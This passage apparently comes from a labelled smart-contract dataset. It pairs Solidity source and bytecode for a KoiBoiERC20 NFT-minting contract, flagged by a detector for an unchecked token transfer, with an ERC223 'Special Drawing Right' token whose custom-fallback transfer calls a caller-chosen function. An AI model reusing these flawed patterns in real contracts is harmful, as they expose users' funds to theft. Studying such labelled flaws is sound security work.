* * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Interface for KOI BOI functions */ interface IKOIBOI is IERC721Enumerable{ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner of BOI Contract. */ function transferOwnership(address newOwner) external; /** * @dev Multi Mint to others account. * Can only be called by the current owner of BOI Contract. */ function multi_mint_to_others(address[] calldata luckyOwners) external payable; } contract KoiBoiERC20 is Ownable { uint256 private constant BOI_ETH_PRICE = 50000000000000000; //0.05 ETH uint256 public BOI_CAVIAR_PRICE = 20000000000000000000; uint16 private constant MAX_MINT = 20; address public BOI_ADDRESS = 0xC12392D73dBC98233E405577E4A564603f5c0077; address public CAVIAR_ADDRESS = 0xFDF371B968BfA4942559ADddCcB2041bC2e26e87; IKOIBOI private _boiNFTCONTRACT = IKOIBOI(BOI_ADDRESS); IERC20Metadata private _CAVIARCONTRACT = IERC20Metadata(CAVIAR_ADDRESS); bool private saleOn = false; /** * @dev Token Name. */ function name() external pure returns (string memory) { return "KoiBoiERC20"; } /** * @dev Token Symbol. */ function symbol() external pure returns (string memory) { return "KOIBOIERC20"; } function mint(uint256 amount) external { require(saleOn, "SALE NOT STARTED"); require(amount <= MAX_MINT, "CAN NOT MINT MORE THAN 20 NFTS"); require(_CAVIARCONTRACT.balanceOf(msg.sender) >= amount*BOI_CAVIAR_PRICE, "YOU HAVE LOW CAVIAR BALANCE"); _CAVIARCONTRACT.transferFrom(msg.sender, address(this), amount*BOI_CAVIAR_PRICE); address[] memory to = new address[](amount); for(uint256 i=0; i<amount; i++) { to[i] = msg.sender; } _boiNFTCONTRACT.multi_mint_to_others{value:to.length*BOI_ETH_PRICE}(to); } receive() external payable { } function changeBoiPrice(uint256 newPrice) external onlyOwner { BOI_CAVIAR_PRICE = newPrice; } function flipSale() external onlyOwner { saleOn = !saleOn; } function isSaleOn() external view returns(bool) { return saleOn; } function changeCAVIARAddress(address caviarAddress) external onlyOwner { CAVIAR_ADDRESS = caviarAddress; _CAVIARCONTRACT = IERC20Metadata(caviarAddress); } function changeBOIAddress(address boiAddress) external onlyOwner { BOI_ADDRESS = boiAddress; _boiNFTCONTRACT = IKOIBOI(boiAddress); } function claimBOIOwnership(address boiNewOwner) external onlyOwner { _boiNFTCONTRACT.transferOwnership(boiNewOwner); } function withdrawETH() public onlyOwner { payable(msg.sender).transfer(address(this).balance); } function withdrawTokens(address tokenAddress, uint256 amount) external onlyOwner { require(IERC20(tokenAddress).balanceOf(address(this)) >= amount, "NOT ENOUGH TOKEN BALANCE"); IERC20(tokenAddress).transfer(msg.sender, amount); } function withdrawNFTs(address nftAddress, uint256[] calldata ids) external onlyOwner { for(uint256 i=0; i<ids.length; i++) { IERC721(nftAddress).safeTransferFrom(address(this), msg.sender, ids[i]); } } }
0x60806040526004361061010d5760003560e01c806395d89b4111610095578063c1eaaf5511610064578063c1eaaf5514610314578063c2380a4f1461033d578063e086e5ec14610368578063f2fde38b1461037f578063f7f0078c146103a857610114565b806395d89b411461026c578063a0712d6814610297578063a7f2b924146102c0578063ade39fc3146102e957610114565b806376227ddc116100dc57806376227ddc146101ad578063779e170d146101d65780637ba5e621146102015780638da5cb5b14610218578063925757cb1461024357610114565b806306b091f91461011957806306fdde031461014257806364b8ebdc1461016d578063715018a61461019657610114565b3661011457005b600080fd5b34801561012557600080fd5b50610140600480360381019061013b9190611416565b6103d3565b005b34801561014e57600080fd5b506101576105ac565b6040516101649190611752565b60405180910390f35b34801561017957600080fd5b50610194600480360381019061018f9190611483565b6105e9565b005b3480156101a257600080fd5b506101ab61066f565b005b3480156101b957600080fd5b506101d460048036038101906101cf9190611389565b6106f7565b005b3480156101e257600080fd5b506101eb6107f8565b6040516101f89190611737565b60405180910390f35b34801561020d57600080fd5b5061021661080f565b005b34801561022457600080fd5b5061022d6108b7565b60405161023a919061169a565b60405180910390f35b34801561024f57600080fd5b5061026a60048036038101906102659190611389565b6108e0565b005b34801561027857600080fd5b506102816109e1565b60405161028e9190611752565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b99190611483565b610a1e565b005b3480156102cc57600080fd5b506102e760048036038101906102e29190611389565b610dcd565b005b3480156102f557600080fd5b506102fe610ed9565b60405161030b919061169a565b60405180910390f35b34801561032057600080fd5b5061033b600480360381019061033691906113b6565b610eff565b005b34801561034957600080fd5b5061035261102a565b60405161035f9190611834565b60405180910390f35b34801561037457600080fd5b5061037d611030565b005b34801561038b57600080fd5b506103a660048036038101906103a19190611389565b6110f5565b005b3480156103b457600080fd5b506103bd6111ed565b6040516103ca919061169a565b60405180910390f35b6103db611213565b73ffffffffffffffffffffffffffffffffffffffff166103f96108b7565b73ffffffffffffffffffffffffffffffffffffffff161461044f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610446906117f4565b60405180910390fd5b808273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610489919061169a565b60206040518083038186803b1580156104a157600080fd5b505afa1580156104b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d991906114b0565b101561051a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051190611774565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016105559291906116ec565b602060405180830381600087803b15801561056f57600080fd5b505af1158015610583573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a79190611456565b505050565b60606040518060400160405280600b81526020017f4b6f69426f694552433230000000000000000000000000000000000000000000815250905090565b6105f1611213565b73ffffffffffffffffffffffffffffffffffffffff1661060f6108b7565b73ffffffffffffffffffffffffffffffffffffffff1614610665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065c906117f4565b60405180910390fd5b8060018190555050565b610677611213565b73ffffffffffffffffffffffffffffffffffffffff166106956108b7565b73ffffffffffffffffffffffffffffffffffffffff16146106eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e2906117f4565b60405180910390fd5b6106f5600061121b565b565b6106ff611213565b73ffffffffffffffffffffffffffffffffffffffff1661071d6108b7565b73ffffffffffffffffffffffffffffffffffffffff1614610773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076a906117f4565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560149054906101000a900460ff16905090565b610817611213565b73ffffffffffffffffffffffffffffffffffffffff166108356108b7565b73ffffffffffffffffffffffffffffffffffffffff161461088b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610882906117f4565b60405180910390fd5b600560149054906101000a900460ff1615600560146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108e8611213565b73ffffffffffffffffffffffffffffffffffffffff166109066108b7565b73ffffffffffffffffffffffffffffffffffffffff161461095c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610953906117f4565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600b81526020017f4b4f49424f494552433230000000000000000000000000000000000000000000815250905090565b600560149054906101000a900460ff16610a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6490611814565b60405180910390fd5b601461ffff16811115610ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aac906117d4565b60405180910390fd5b60015481610ac391906118a4565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401610b1e919061169a565b60206040518083038186803b158015610b3657600080fd5b505afa158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e91906114b0565b1015610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba690611794565b60405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd333060015485610bfd91906118a4565b6040518463ffffffff1660e01b8152600401610c1b939291906116b5565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611456565b5060008167ffffffffffffffff811115610c8a57610c89611a20565b5b604051908082528060200260200182016040528015610cb85781602001602082028036833780820191505090505b50905060005b82811015610d275733828281518110610cda57610cd96119f1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080610d1f90611979565b915050610cbe565b50600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635f9fb19266b1a2bc2ec500008351610d7a91906118a4565b836040518363ffffffff1660e01b8152600401610d979190611715565b6000604051808303818588803b158015610db057600080fd5b505af1158015610dc4573d6000803e3d6000fd5b50505050505050565b610dd5611213565b73ffffffffffffffffffffffffffffffffffffffff16610df36108b7565b73ffffffffffffffffffffffffffffffffffffffff1614610e49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e40906117f4565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b826040518263ffffffff1660e01b8152600401610ea4919061169a565b600060405180830381600087803b158015610ebe57600080fd5b505af1158015610ed2573d6000803e3d6000fd5b5050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f07611213565b73ffffffffffffffffffffffffffffffffffffffff16610f256108b7565b73ffffffffffffffffffffffffffffffffffffffff1614610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f72906117f4565b60405180910390fd5b60005b82829050811015611024578373ffffffffffffffffffffffffffffffffffffffff166342842e0e3033868686818110610fba57610fb96119f1565b5b905060200201356040518463ffffffff1660e01b8152600401610fdf939291906116b5565b600060405180830381600087803b158015610ff957600080fd5b505af115801561100d573d6000803e3d6000fd5b50505050808061101c90611979565b915050610f7e565b50505050565b60015481565b611038611213565b73ffffffffffffffffffffffffffffffffffffffff166110566108b7565b73ffffffffffffffffffffffffffffffffffffffff16146110ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a3906117f4565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156110f2573d6000803e3d6000fd5b50565b6110fd611213565b73ffffffffffffffffffffffffffffffffffffffff1661111b6108b7565b73ffffffffffffffffffffffffffffffffffffffff1614611171576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611168906117f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d8906117b4565b60405180910390fd5b6111ea8161121b565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000813590506112ee81611b95565b92915050565b60008083601f84011261130a57611309611a54565b5b8235905067ffffffffffffffff81111561132757611326611a4f565b5b60208301915083602082028301111561134357611342611a59565b5b9250929050565b60008151905061135981611bac565b92915050565b60008135905061136e81611bc3565b92915050565b60008151905061138381611bc3565b92915050565b60006020828403121561139f5761139e611a63565b5b60006113ad848285016112df565b91505092915050565b6000806000604084860312156113cf576113ce611a63565b5b60006113dd868287016112df565b935050602084013567ffffffffffffffff8111156113fe576113fd611a5e565b5b61140a868287016112f4565b92509250509250925092565b6000806040838503121561142d5761142c611a63565b5b600061143b858286016112df565b925050602061144c8582860161135f565b9150509250929050565b60006020828403121561146c5761146b611a63565b5b600061147a8482850161134a565b91505092915050565b60006020828403121561149957611498611a63565b5b60006114a78482850161135f565b91505092915050565b6000602082840312156114c6576114c5611a63565b5b60006114d484828501611374565b91505092915050565b60006114e983836114f5565b60208301905092915050565b6114fe816118fe565b82525050565b61150d816118fe565b82525050565b600061151e8261185f565b6115288185611882565b93506115338361184f565b8060005b8381101561156457815161154b88826114dd565b975061155683611875565b925050600181019050611537565b5085935050505092915050565b61157a81611910565b82525050565b600061158b8261186a565b6115958185611893565b93506115a5818560208601611946565b6115ae81611a68565b840191505092915050565b60006115c6601883611893565b91506115d182611a79565b602082019050919050565b60006115e9601b83611893565b91506115f482611aa2565b602082019050919050565b600061160c602683611893565b915061161782611acb565b604082019050919050565b600061162f601e83611893565b915061163a82611b1a565b602082019050919050565b6000611652602083611893565b915061165d82611b43565b602082019050919050565b6000611675601083611893565b915061168082611b6c565b602082019050919050565b6116948161193c565b82525050565b60006020820190506116af6000830184611504565b92915050565b60006060820190506116ca6000830186611504565b6116d76020830185611504565b6116e4604083018461168b565b949350505050565b60006040820190506117016000830185611504565b61170e602083018461168b565b9392505050565b6000602082019050818103600083015261172f8184611513565b905092915050565b600060208201905061174c6000830184611571565b92915050565b6000602082019050818103600083015261176c8184611580565b905092915050565b6000602082019050818103600083015261178d816115b9565b9050919050565b600060208201905081810360008301526117ad816115dc565b9050919050565b600060208201905081810360008301526117cd816115ff565b9050919050565b600060208201905081810360008301526117ed81611622565b9050919050565b6000602082019050818103600083015261180d81611645565b9050919050565b6000602082019050818103600083015261182d81611668565b9050919050565b6000602082019050611849600083018461168b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006118af8261193c565b91506118ba8361193c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156118f3576118f26119c2565b5b828202905092915050565b60006119098261191c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015611964578082015181840152602081019050611949565b83811115611973576000848401525b50505050565b60006119848261193c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156119b7576119b66119c2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e4f5420454e4f55474820544f4b454e2042414c414e43450000000000000000600082015250565b7f594f552048415645204c4f57204341564941522042414c414e43450000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f43414e204e4f54204d494e54204d4f5245205448414e203230204e4654530000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f53414c45204e4f54205354415254454400000000000000000000000000000000600082015250565b611b9e816118fe565b8114611ba957600080fd5b50565b611bb581611910565b8114611bc057600080fd5b50565b611bcc8161193c565b8114611bd757600080fd5b5056fea264697066735822122019f57e61593ae739d70c225b066e0143cfd0c21d48ea9888f591943574c97e3b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
521
0x8abb673ea728e3006dd44df0f96e2964b59e4cb2
pragma solidity 0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC223 interface * @dev see https://github.com/ethereum/eips/issues/223 */ contract ERC223 { function transfer(address _to, uint _value, bytes _data) public returns (bool success); function transfer(address _to, uint _value, bytes _data, string _fallback) public returns (bool success); event Transfer(address indexed from, address indexed to, uint value, bytes data); } /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data); } /** * @title ERC223Token * @dev Generic implementation for the required functionality of the ERC223 standard. * @dev */ contract SpecialDrawingRight is ERC223, ERC20Basic { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => uint256) public balances; /** * @dev Function to access name of token. * @return _name string the name of the token. */ function name() public view returns (string _name) { return name; } /** * @dev Function to access symbol of token. * @return _symbol string the symbol of the token. */ function symbol() public view returns (string _symbol) { return symbol; } /** * @dev Function to access decimals of token. * @return _decimals uint8 decimal point of token fractions. */ function decimals() public view returns (uint8 _decimals) { return decimals; } /** * @dev Function to access total supply of tokens. * @return _totalSupply uint256 total token supply. */ function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } /** * @dev Function to access the balance of a specific address. * @param _owner address the target address to get the balance from. * @return _balance uint256 the balance of the target address. */ function balanceOf(address _owner) public view returns (uint256 _balance) { return balances[_owner]; } function SpecialDrawingRight() public{ name = "Special Drawing Right"; symbol = "SDR"; decimals = 2; totalSupply = 1000000000 * 10 ** uint(decimals); balances[msg.sender] = totalSupply; } /** * @dev Function that is called when a user or another contract wants to transfer funds using custom fallback. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. * @param _fallback string name of the custom fallback function to be called after transaction. */ function transfer(address _to, uint256 _value, bytes _data, string _fallback) public returns (bool _success) { if (isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); // Calls the custom fallback function. // Will fail if not implemented, reverting transaction. assert(_to.call.value(0)(bytes4(keccak256(_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } /** * @dev Function that is called when a user or another contract wants to transfer funds using default fallback. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool _success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data. * Added due to backwards compatibility reasons. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. */ function transfer(address _to, uint256 _value) public returns (bool _success) { // Adds empty bytes to fill _data param in functions bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } /** * @dev Function to test whether target address is a contract. * @param _addr address to be tested as a contract address or something else. * @return _isContract bool true if target address is a contract false otherwise. */ function isContract(address _addr) private view returns (bool _isContract) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } /** * @dev Function that is called when transaction target is an address. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. */ function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool _success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); Transfer(msg.sender, _to, _value, _data); return true; } /** * @dev Function that is called when transaction target is a contract. * @param _to address to which the tokens are transfered. * @param _value uint256 amount of tokens to be transfered. * @param _data bytes data along token transaction. */ function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool _success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); // Calls the default fallback function. // Will fail if not implemented, reverting transaction. ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } }
0x60606040526004361061007f5763ffffffff60e060020a60003504166306fdde03811461008457806318160ddd1461010e57806327e235e314610133578063313ce5671461015257806370a082311461017b57806395d89b411461019a578063a9059cbb146101ad578063be45fd62146101e3578063f6368f8a14610248575b600080fd5b341561008f57600080fd5b6100976102ef565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156100d35780820151838201526020016100bb565b50505050905090810190601f1680156101005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561011957600080fd5b610121610397565b60405190815260200160405180910390f35b341561013e57600080fd5b610121600160a060020a036004351661039d565b341561015d57600080fd5b6101656103af565b60405160ff909116815260200160405180910390f35b341561018657600080fd5b610121600160a060020a03600435166103b8565b34156101a557600080fd5b6100976103d3565b34156101b857600080fd5b6101cf600160a060020a0360043516602435610446565b604051901515815260200160405180910390f35b34156101ee57600080fd5b6101cf60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061048295505050505050565b341561025357600080fd5b6101cf60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506104b695505050505050565b6102f7610a82565b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561038d5780601f106103625761010080835404028352916020019161038d565b820191906000526020600020905b81548152906001019060200180831161037057829003601f168201915b5050505050905090565b60035490565b60046020526000908152604090205481565b60025460ff1690565b600160a060020a031660009081526004602052604090205490565b6103db610a82565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561038d5780601f106103625761010080835404028352916020019161038d565b6000610450610a82565b61045984610724565b156104705761046984848361072c565b915061047b565b61046984848361092c565b5092915050565b600061048d84610724565b156104a45761049d84848461072c565b90506104af565b61049d84848461092c565b9392505050565b60006104c185610724565b1561070e57836104d0336103b8565b10156104db57600080fd5b6104f4846104e8336103b8565b9063ffffffff610a5d16565b600160a060020a0333166000908152600460205260409020556105268461051a876103b8565b9063ffffffff610a6f16565b600160a060020a0386166000818152600460205260408082209390935590918490518082805190602001908083835b602083106105745780518252601f199092019160209182019101610555565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b838110156106055780820151838201526020016105ed565b50505050905090810190601f1680156106325780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561065257fe5b84600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16868660405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156106cb5780820151838201526020016106b3565b50505050905090810190601f1680156106f85780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350600161071c565b61071985858561092c565b90505b949350505050565b6000903b1190565b60008083610739336103b8565b101561074457600080fd5b610751846104e8336103b8565b600160a060020a0333166000908152600460205260409020556107778461051a876103b8565b600160a060020a03861660008181526004602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156108105780820151838201526020016107f8565b50505050905090810190601f16801561083d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561085d57600080fd5b5af1151561086a57600080fd5b50505084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16868660405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156108e65780820151838201526020016108ce565b50505050905090810190601f1680156109135780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b600082610938336103b8565b101561094357600080fd5b610950836104e8336103b8565b600160a060020a0333166000908152600460205260409020556109768361051a866103b8565b6004600086600160a060020a0316600160a060020a031681526020019081526020016000208190555083600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16858560405182815260406020820181815290820183818151815260200191508051906020019080838360005b83811015610a18578082015183820152602001610a00565b50505050905090810190601f168015610a455780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35060019392505050565b600082821115610a6957fe5b50900390565b81810182811015610a7c57fe5b92915050565b602060405190810160405260008152905600a165627a7a72305820f8799c7853bfa9edcceeb6b47b674c4c23c53a0f2da0cba2106381b235938f140029
